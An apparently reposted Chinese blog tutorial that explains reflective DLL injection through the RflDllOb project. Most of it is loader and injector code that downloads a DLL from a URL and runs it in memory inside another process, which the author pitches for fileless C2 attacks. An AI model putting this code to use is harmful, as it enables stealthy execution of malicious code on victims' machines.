反射DLL注入原理解析

news/2024/9/12 15:16:49/文章来源:https://www.cnblogs.com/fdxsec/p/18300826

反射 DLL 注入又称 RDI,与常规 DLL 注入不同的是,它不需要 LoadLibrary 这个函数来加载 dll,而是通过 DLL 内部的一个函数来自己把自己加载起来,这么说可能会有一点抽象,总之这个函数会负责解析DLL文件的头信息、导入函数的地址、处理重定位等初始化操作,先不用理解这个函数是怎么实现的,后面会细说,我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。
那么我们的任务就到了如何编写这个函数上面了,由于这个函数执行的时候 DLL 还没有被加载,这个函数的编写也会受到诸多限制,比如说无法正常使用全局变量,还有我们的函数必须编写成与地址无关的函数,就像 shellcode 那样,无论加载到了内存中的哪一个位置都要保证成功加载。
这个技术也是非常实用的,除了进行注入,我们在开发 c2 时也可以利用此技术实现无文件落地攻击。
要理解这个技术需要丰富的 PE 知识,因此当你阅读这篇文章感到困难的时候,去看一些 PE 的东西再回来阅读会更好。
接下来要分析的项目是https://github.com/oldboy21/RflDllOb,它实现了一个伪 c2 的无文件落地攻击,项目分成两个部分,一个是ReflectiveDLL,就是我们上面说的 dll,还有一个就是ReflectiveDLLInjector,它实现了从 url 下载ReflectiveDLL 并且注入到指定线程中,实现无文件落地攻击的技术。
我为这个项目画了个简单的图:
image.png

ReflectiveDLL

以下是ReflectiveLoader大致实现思路的思维导图:
image.png

变量定义

首先我们在ReflectiveFunction 函数开头可以看到下面这样的声明,还记得我们在上面说的无法使用全局变量吗,这意味着我们所有的变量都必须是堆栈变量。堆栈变量不会最终出现在编译的代码部分(需要重新定位的位置),但始终使用堆栈指针的相对偏移量进行寻址。

    WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };WCHAR ntdll[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };WCHAR user32[] = { L'U', L's', L'e', L'r', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };CHAR virtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' };CHAR virtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', '\0' };CHAR rtladdFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e', '\0' };CHAR ntFlushInstructionCache[] = { 'N', 't', 'F', 'l', 'u', 's', 'h', 'I', 'n', 's', 't', 'r', 'u', 'c', 't', 'i', 'o', 'n', 'C', 'a', 'c', 'h', 'e', '\0' };CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };

像上面这样声明我们的字符串将使编译器在运行时将这些单个字符推送到堆栈上。因此,区别在于初始化风格,定义单个字符与使用字符串文本,前者产生堆栈分配的数组,而后者产生在可执行文件的初始化数据部分中分配的数组。

获取所需系统 api

通过GPAR(GMHR(kernel32), virtualAlloc)这样的方式来获取系统 api,GMHR 是获取 dll 句柄的函数,GPAR 的功能是通过句柄获取对应导出表函数地址

    if ((VA = (fnVirtualAlloc)GPAR(GMHR(kernel32), virtualAlloc)) == NULL)return FALSE;if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)return FALSE;if (!(VP = (fnVirtualProtect)GPAR(GMHR(kernel32), virtualProtect)))return FALSE;if (!(RAFT = (fnRtlAddFunctionTable)GPAR(GMHR(kernel32), rtladdFunctionTable)))return FALSE;if (!(FIC = (fnNtFlushInstructionCache)GPAR(GMHR(ntdll), ntFlushInstructionCache)))return FALSE;

在 GMHR 函数中,我们通过 PEB 来获取想要获取的函数所在 dll 的句柄。(关于 peb 的知识可以看https://xz.aliyun.com/t/13556)

//----------------GET MODULE HANDLE---------------------
HMODULE GMHR(IN WCHAR szModuleName[]) {   PPEBC					pPeb = (PEBC*)(__readgsqword(0x60));// geting LdrPPEBC_LDR_DATA			pLdr = (PPEBC_LDR_DATA)(pPeb->Ldr);// getting the first element in the linked list (contains information about the first module)PLDR_DATA_TABLE_ENTRYC	pDte = (PLDR_DATA_TABLE_ENTRYC)(pLdr->InMemoryOrderModuleList.Flink);while (pDte) {// if not nullif (pDte->FullDllName.Length != NULL) {// check if both equalToLowerCaseWIDE(pDte->FullDllName.Buffer);ToLowerCaseWIDE(szModuleName);if (CompareStringWIDE(pDte->FullDllName.Buffer, szModuleName)) {return (HMODULE)(pDte->InInitializationOrderLinks.Flink);}}else {break;}// next element in the linked listpDte = *(PLDR_DATA_TABLE_ENTRYC*)(pDte);}  return NULL;
}

上面获取的句柄是指向内存中模块开头的指针,因此我们可以解析 dll 的 PE 标头,获取函数导出表,并且依次进行比较,并且我们的代码考虑了函数转发的情况,函数转发指的是一个 DLL 可以将其导出的函数指向另一个 DLL 的函数,通过转发,系统可以避免重复实现相同的功能。

/*------------------获取函数地址-------------------*/FARPROC GPAR(IN HMODULE hModule, IN CHAR lpApiName[]) {// 获取模块的基地址PBYTE pBase = (PBYTE)hModule;// 获取DOS头PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;// 检查DOS头的魔数是否正确if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return NULL;// 获取NT头PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);// 检查NT头的签名是否正确if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)return NULL;// 获取可选头IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;// 获取导出目录表PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);// 获取函数名数组、函数地址数组和函数序号数组PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);// 用于处理转发的变量WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };fnLoadLibraryA LLA = NULL;PBYTE functionAddress = NULL;CHAR forwarder[260] = { 0 };CHAR dll[260] = { 0 };CHAR function[260] = { 0 };// 遍历所有导出的函数for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {// 获取函数名CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);// 查找指定的函数名if (ComprareStringASCII(lpApiName, pFunctionName)) {// 获取函数地址functionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);// 检查函数是否是转发if (functionAddress >= (PBYTE)pImgExportDir && functionAddress < (PBYTE)(pImgExportDir + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)) {    // 处理转发字符串ParseForwarder((CHAR*)functionAddress, dll, function);if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)return NULL;if (function[0] == '#') {// 处理转发到指定序号的情况return GPARO(LLA(dll), custom_stoi(function));} else {// 处理转发到指定函数名的情况return GPAR(LLA(dll), function);}} else {// 返回非转发函数的地址return (FARPROC)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);}}}return NULL;
}

好的,到现在位置我们就可以获取到我们所需要的系统 api 了

定位 dll 在内存中的位置

由于我们无法事先得知我们 dll 运行在内存中的什么位置,所以我们需要对其进行定位,我们可以直接返回对应的内存地址,当然也可以用 __ReturnAddress 来获取当前函数的内存位置

    //获取当前函数的地址,所以文件pe头的内存地址肯定在函数的前面dllBaseAddress = (ULONG_PTR)ReflectiveFunction;

获取到函数内存地址之后,文件的 pe 头一定在其上面,所以我们只需要逐字节向上遍历即可。挨个字节检查,这里的0x44434241 是我们在 inject 里面自定义的字节,用它来避免产生误报,相当于加了一层保护措施。

while (TRUE)
{// 将dllBaseAddress强制转换为PDLL_HEADER类型的指针,并赋值给pDllHeaderpDllHeader = (PDLL_HEADER)dllBaseAddress;// 由于是小端序,需要将比较的值进行反转// 比较头部是否等于0x44434241if (pDllHeader->header == 0x44434241) {// 这里将dllBaseAddress加上5个字节偏移量以获取PIMAGE_DOS_HEADER的地址pImgDosHdr = (PIMAGE_DOS_HEADER)(dllBaseAddress + (5 * sizeof(CHAR)));// 检查DOS头的e_magic是否等于IMAGE_DOS_SIGNATUREif (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE){// 获取NT头结构体指针,注意偏移量为DOS头偏移加上5个字节pImgNtHdrs = (PIMAGE_NT_HEADERS)(dllBaseAddress + pImgDosHdr->e_lfanew + (5 * sizeof(CHAR)));// 检查NT头的签名是否等于IMAGE_NT_SIGNATUREif (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {// 如果签名匹配,跳出循环break;}}}// 递减dllBaseAddress,继续下一次循环dllBaseAddress--;
}

在远程进程中,出现的情况可能是这样的:
image.png
现在,DLL在内存中找到了自己的位置,我们可以开始进行加载了。

申请 dll 所需要的内存空间

虽然我们的 dll pe 已经在内存里面了,但是我们还需要更大的一个内存空间对其加载,完成映射节,解析导入表,重定位表等等操作,因此我们需要一片更大的内存空间,我们直接在上面获取系统 api 的步骤中获取 VirtualAlloc 即可,而所需要的内存空间大小是 pe 文件格式里面 IMAGE_OPTIONAL_HEADER 的SizeOfImage 确定

    if ((pebase = (PBYTE)VA(NULL, pImgOptHdr->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL)return FALSE;

复制节

我们接下来要把节映射过去,由于节在内存中应该是虚拟地址,所以我们不能一股脑复制过去,要借助IMAGE_SECTION_HEADER 里面的VirtualAddress 字段帮助我们复制

// 为节头(section headers)数组分配内存
peSections = (PIMAGE_SECTION_HEADER*)custom_malloc((sizeof(PIMAGE_SECTION_HEADER) * ImgFileHdr.NumberOfSections), VA);
if (peSections == NULL)return FALSE;// 将节的指针保存到节头数组中
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {// 计算每个节头的位置并保存到 peSections 数组中peSections[i] = (PIMAGE_SECTION_HEADER)(((PBYTE)pImgNtHdrs) + 4 + 20 + ImgFileHdr.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER));
}// 将每个节的内容从原始 PE 文件中复制到内存中的相应位置
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {custom_memcpy(// 目标地址:在内存中的虚拟地址(PVOID)(pebase + peSections[i]->VirtualAddress),// 源地址:原始 PE 文件中的偏移地址(PVOID)(dllBaseAddress + peSections[i]->PointerToRawData),// 复制的大小peSections[i]->SizeOfRawData);
}

修复导入表 IAT

一旦各个节被加载到正确的虚拟地址中,所有的相对虚拟地址(RVA)就开始有意义了。因此,在这里我们可以开始修复导入目录(Import Directory):遍历我们反射 DLL 需要操作的所有 DLL 列表,导入它们,并根据我们在内存中获得的位置调整每个函数的 RVA。基本上将所有的 RVA 转换为 VA(虚拟地址),即 VA = ImageBase + RVA。

    for (size_t i = 0; i < pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {// 获取图像导入描述符的指针pImgImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + i);// 使用自定义的GetModuleHandle/GetProcAddress来导入DLLdll = LLA((LPSTR)(pebase + pImgImpDesc->Name));if (dll == NULL) {return FALSE;}// 获取ILT和IAT的引用pOriginalFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->OriginalFirstThunk);pFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->FirstThunk);// 如果引用不为空while (pOriginalFirstThunk->u1.Function != NULL && pFirstThunk->u1.Function != NULL) {// 检查函数是通过序号引用还是通过名称引用的if (pOriginalFirstThunk->u1.Ordinal & 0x8000000000000000) {// 通过保留低16位来获取序号的字节ordinal = pOriginalFirstThunk->u1.Ordinal & 0xFFFF;// 获取函数地址funcAddress = GPARO(dll, (int)ordinal);if (funcAddress != nullptr)// 调整IAT表(返回的地址与DllBaseAddress相加)pFirstThunk->u1.Function = (ULONGLONG)funcAddress;}else {// 如果函数可以通过其名称找到pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pebase + pOriginalFirstThunk->u1.AddressOfData);funcAddress = GPAR(dll, pImgImportByName->Name);if (funcAddress != nullptr)pFirstThunk->u1.Function = (ULONGLONG)funcAddress;}// 移动到下一个pOriginalFirstThunk++;pFirstThunk++;}}

修复重定位表

现在,导入地址表也已修复,这意味着如果DLL在该进程的内存中执行,它将知道在哪里找到所需的函数。现在是应用基址重定位的时候了,我们可以简要说明一下重定位的工作原理:当程序被编译时,编译器假定一个特定的基址作为可执行文件的基址。然后基于这个基址计算并嵌入了各种地址。然而,可执行文件加载时不太可能正好加载到这个基址。相反,它可能加载到一个不同的地址,这使得所有这些嵌入的地址无效。为了解决这个加载问题,一个包含所有这些需要调整的嵌入地址的列表被存储在PE文件的一个专门表中,称为重定位表(Relocation Table)。这个表位于.reloc节的一个数据目录中。

 /*--------------修复重定位--------------*/// 计算delta,即实际基地址与期望基地址的差值delta = (ULONG_PTR)pebase - pImgOptHdr->ImageBase;// 获取重定位表的起始地址pImgRelocation = (PIMAGE_BASE_RELOCATION)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);// 遍历所有的重定位块while (pImgRelocation->VirtualAddress) {// 获取第一个重定位条目的地址pRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgRelocation + 1);// 计算重定位条目的数量(移除头部大小并除以每个条目的大小)entriesCount = (int)((pImgRelocation->SizeOfBlock - 8) / 2);// 遍历所有的重定位条目for (int i = 0; i < entriesCount; i++) {// 根据重定位类型进行处理switch (pRelocEntry->Type) {case IMAGE_REL_BASED_DIR64:{// 如果类型为IMAGE_REL_BASED_DIR64(即值为10)// 对64位字段应用delta值ULONGLONG* toAdjust = (ULONGLONG*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);*toAdjust += (ULONGLONG)delta;break;}case IMAGE_REL_BASED_HIGHLOW:// 对32位字段应用delta值{DWORD* toAdjust = (DWORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);*toAdjust += (DWORD)delta;}break;case IMAGE_REL_BASED_HIGH:// 对16位高字段应用delta值的高16位{WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);*toAdjust += HIWORD(delta);}break;case IMAGE_REL_BASED_LOW:// 对16位低字段应用delta值的低16位{WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);*toAdjust += LOWORD(delta);}break;case IMAGE_REL_BASED_ABSOLUTE:// 跳过此类型的重定位。该类型可以用来填充块break;}// 移动到下一个重定位条目pRelocEntry++;}// 移动到下一个重定位块pImgRelocation = (PIMAGE_BASE_RELOCATION)(reinterpret_cast<DWORD_PTR>(pImgRelocation) + pImgRelocation->SizeOfBlock);}

为每个节分配正确的内存属性

我们根据IMAGE_SECTION_HEADER 的Characteristics 字段确定每个节的属性然后为其分配即可

for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {if (peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) {//writedwProtection = PAGE_WRITECOPY;}if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) {//readdwProtection = PAGE_READONLY;}if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE) {//execdwProtection = PAGE_EXECUTE;}if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //readwritedwProtection = PAGE_READWRITE;}if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executewritedwProtection = PAGE_EXECUTE_WRITECOPY;}if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) { //executereaddwProtection = PAGE_EXECUTE_READ;}if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executereadwritedwProtection = PAGE_EXECUTE_READWRITE;}if (!VP((PVOID)(pebase + peSections[i]->VirtualAddress), peSections[i]->SizeOfRawData, dwProtection, &dwOldProtection)) {return FALSE;}}

调用 dll 入口点

最后我们刷新指令缓存,使得我们先前的工作生效,然后返回入口点地址就可以了,然后就会完成C运行库的初始化,执行一系列安全检查并调用dllmain。

    FIC((HANDLE)-1, NULL, 0x00);/*--------------EXECUTE ENTRY POINT--------------*/pDllMain = (fnDllMain)(pebase + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);return pDllMain((HMODULE)pebase, DLL_PROCESS_ATTACH, NULL);

ReflectiveInject

在 inject 里面要做的事情主要有一下几步:

  1. 下载/读取我们的 DLL 字节

下载或读取DLL文件的原始字节内容,以便稍后将其注入到远程进程中。

  1. 查找 ReflectiveFunction 的 RAW 地址

在DLL文件中找到ReflectiveFunction的原始地址。这通常需要解析DLL的PE结构以定位目标函数的地址。

  1. 在远程进程中分配内存

在目标远程进程中分配足够的内存,以容纳即将写入的DLL字节。

  1. 在远程内存位置写入 RAW 字节

将下载或读取到的DLL字节写入分配好的远程内存中。

  1. 创建一个将运行“ReflectiveLoader”函数的远程线程

在远程进程中创建一个线程,以运行ReflectiveLoader函数,这样DLL就可以在目标进程中进行自我加载。

下载 dll

首先我们先将 dll 下载下来

vector<char> downloadFromURL(IN LPCSTR url) {IStream* stream;vector<char> buffer;if (URLOpenBlockingStreamA(0, url, &stream, 0, 0)){cout << "[-] Error occured while downloading the file";return buffer;}buffer.resize(100);unsigned long bytesRead;int totalbytes = 0;while (true){stream->Read(buffer.data() + buffer.size() - 100, 100, &bytesRead);if (0U == bytesRead){break;}buffer.resize(buffer.size() + 100);totalbytes += bytesRead;};stream->Release();buffer.erase(buffer.begin() + totalbytes, buffer.end());return buffer;}

在进程中注入 dll

很简单,直接上代码

int RetrievePIDbyName(wchar_t* procName) {HANDLE hProcessSnap;PROCESSENTRY32 pe32;// 将进程名转换为小写ToLowerCaseWIDE(procName);// 获取系统中所有进程的快照hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == INVALID_HANDLE_VALUE) {std::cout << "[-] 无法创建进程快照!" << std::endl;return 0;}// 设置结构体的大小pe32.dwSize = sizeof(PROCESSENTRY32);// 检索第一个进程的信息,如果失败则退出if (!Process32First(hProcessSnap, &pe32)) {std::cout << "[-] 无法检索第一个进程的信息!" << std::endl;CloseHandle(hProcessSnap);return 0;}// 在快照中遍历所有进程信息do {// 将进程名转换为小写ToLowerCaseWIDE(pe32.szExeFile);// 比较进程名是否匹配if (wcscmp(pe32.szExeFile, procName) == 0) {CloseHandle(hProcessSnap);return pe32.th32ProcessID;}} while (Process32Next(hProcessSnap, &pe32));// 关闭快照句柄释放资源CloseHandle(hProcessSnap);return 0;
}// 获取目标进程的进程ID
int pid = RetrievePIDbyName(GetWC(targetProcess));
if (pid != 0) {printf("[+] 找到进程,PID为 %lu\n", pid);
} else {cout << "[-] 未找到进程,退出... " << endl;return 1;
}/*----------请打开到远程进程的句柄----------*/// 打开到远程进程的句柄
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {cout << "[-] 打开进程句柄时出错,退出... " << endl;return 1;
}/*--------分配内存,将DLL写入远程进程----------*/// 在远程进程中注入DLL并分配内存
PBYTE remotePEBase = InjectDllRemoteProcess(pid, pefile.size(), pebase, hProc);
if (remotePEBase == NULL) {cout << "[-] 在远程进程中注入DLL时出错,退出... " << endl;return 1;
}

找到 ReflectiveFunction

我们已经将 dll 注入到远程进程中了,现在需要找到ReflectiveLoader 函数,然后直接运行就可以了
下面这个函数首先解析DLL的PE头,并根据节头的信息计算出RVA到原始文件的偏移量。然后,它遍历导出目录以找到导出函数的地址。最后,它将函数的RVA转换为原始文件中的偏移量并返回。

LPVOID RetrieveLoaderPointer(PBYTE dllBase) {LPVOID exportedFuncAddrRVA = NULL;PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBase; if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {return NULL;}PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(dllBase + pDosHeader->e_lfanew);if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) {return NULL;}IMAGE_FILE_HEADER fileHeader = pNtHeader->FileHeader;IMAGE_OPTIONAL_HEADER optionalHeader = pNtHeader->OptionalHeader;vector<PIMAGE_SECTION_HEADER> peSections;for (int i = 0; i < fileHeader.NumberOfSections; i++) {// 从NT头指针 + 4(标志) + 20(文件头) + 可选头的大小开始,得到第一个节头的指针。// 要得到下一个节头,乘以节头的大小再加上当前索引peSections.insert(peSections.begin(), (PIMAGE_SECTION_HEADER)(((PBYTE)pNtHeader) + 4 + 20 + optionalHeader.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER)));}// 从这里开始我们开始使用RVA,因此我们需要找到原始文件中的偏移量// 在导出目录中查找我们想调用的ReflectiveFunctionPIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + Rva2Raw(optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, peSections, (int)fileHeader.NumberOfSections));PDWORD FunctionNameArray = (PDWORD)(dllBase + Rva2Raw(pExportDirectory->AddressOfNames, peSections, (int)fileHeader.NumberOfSections));PDWORD FunctionAddressArray = (PDWORD)(dllBase + Rva2Raw(pExportDirectory->AddressOfFunctions, peSections, (int)fileHeader.NumberOfSections));PWORD FunctionOrdinalArray = (PWORD)(dllBase + Rva2Raw(pExportDirectory->AddressOfNameOrdinals, peSections, (int)fileHeader.NumberOfSections));char* functionName = (CHAR*)(dllBase + Rva2Raw(*FunctionNameArray, peSections, (int)fileHeader.NumberOfSections));for (DWORD i = 0; i < pExportDirectory->NumberOfFunctions; i++) {if (strcmp(functionName, EXPORTED_FUNC_NAME) == 0) {exportedFuncAddrRVA = (LPVOID)Rva2Raw(FunctionAddressArray[i], peSections, (int)fileHeader.NumberOfSections);break;}}return exportedFuncAddrRVA;
}

接下来我们直接调用函数即可
效果:
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/743300.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Neo4j:图数据库的革命性力量

Neo4j 首席技术官 @prathle 撰写了一篇出色的博文,总结最近围绕 GraphRAG 的热议、我们从一年来帮助用户使用知识图谱 + LLM 构建系统中学到的东西,以及我们认为该领域的发展方向。Neo4j一时间又大火起来,本文将带你快速入门这神奇的数据库。前言 Neo4j是一款符合ACID标准的…

Linux常用文件操作命令

本章将和大家分享Linux常用的文件操作命令。本章将和大家分享Linux常用的文件操作命令。废话不多说,下面我们直接进入主题。 一、目录切换(cd命令) 在Linux系统中,cd 是一个用于切换当前工作目录的命令,它是 "change directory" 的缩写。基本用法如下所示: 1、…

Windows10下的docker容器启动命令docker -v相对路径的挂载目录位置

今天研究docker容器时,启动命令使用到了docker -v test:/app/backend/data 有个从宿主机写入文件到容器这个目录的需求,于是就尝试在宿主机上找到这个test目录 找了一圈都没找到,于是四处搜索,终于在stackoverflow上面找到了 https://stackoverflow.com/questions/61083772…

基于GA遗传优化算法的Okumura-Hata信道参数估计算法matlab仿真

1.算法仿真效果 matlab2022a仿真结果如下(完整代码运行后无水印):2.算法涉及理论知识概要遗传算法(Genetic Algorithm, GA)是一种模拟自然界生物进化过程的全局优化搜索算法,由John Holland于1975年提出。它利用达尔文的自然选择和遗传学原理,通过选择、交叉、变异等操作…

LTPSICE 小知识

1、初值设置:

软件工程进度报告——第二周

本周总结: 本周学习了Java语言的开发软件jdk的下载安装和使用方法,java代码的简单编写 1.下载安装jdk jdk需要在Oracle官网下载,下载地址:www.oracle.com下载时只需选择对应系统的安装包安装即可 2.jdk的安装目录 bin:该路径下存放了各种工具命令,其中比较重要的有:javac…

2024.07.13hadoop总结

hadoop基础概念学习在这之前并不了解hadoop,甚至没怎么听人提起过,直到学习大数据技术需要hadoop和python才开始学习。 hadoop的概念还没有完全了解完全,但是它的核心是处理和存储大数据,需要在虚拟机上面进行系统的测试

2024暑假第二周总结

运算符总结 对字面量或者变量进行操作的符号 算数运算符 加 减 乘 除 取模 取余 加减乘 public class yunsuanfu {public static void main(String[] args) {//+System.out.println(3+2);//5//-System.out.println(3-2);//1//*System.out.println(2*2);//4//如果计算的时候有小…

周总结

这周主要练习springboot3+vue3,开发大事件系统,Hadoop还未开始学,计划完成大事件开发后冲击Hadoop,在这里主要说一下我后端的开发心里路程吧。 Spring Boot 是一种基于 Spring 框架的开发工具,它旨在简化 Spring 应用程序的开发和部署过程。作为一名后端开发人员,我对 Sp…

Linux 中sed命令输出匹配字符的行号

001、[root@PC1 test]# ls a.txt [root@PC1 test]# cat a.txt ## 测试数 aa bbb dd ff 77 dd 22 44 77 88 cc dd ee ff [root@PC1 test]# sed -n /dd/p a.txt ## 输出匹配dd的行 dd ff 77 dd cc dd [root@PC1 test]# sed -n /dd/= a.txt ## 输出匹配字符的行号 2 3…

西华大学代做

目录西华大学代做拓扑图配置步骤PC配置接入交换机配置汇聚交换机配置核心交换机配置上联区配置公共服务区配置服务器区配置远程登录配置Internet区域配置B网 西华大学代做 拓扑图配置步骤 PC配置 vlan10和vlan20,对应192.168.10.0/24和192.168.20.0/24接入交换机配置 创建vlan…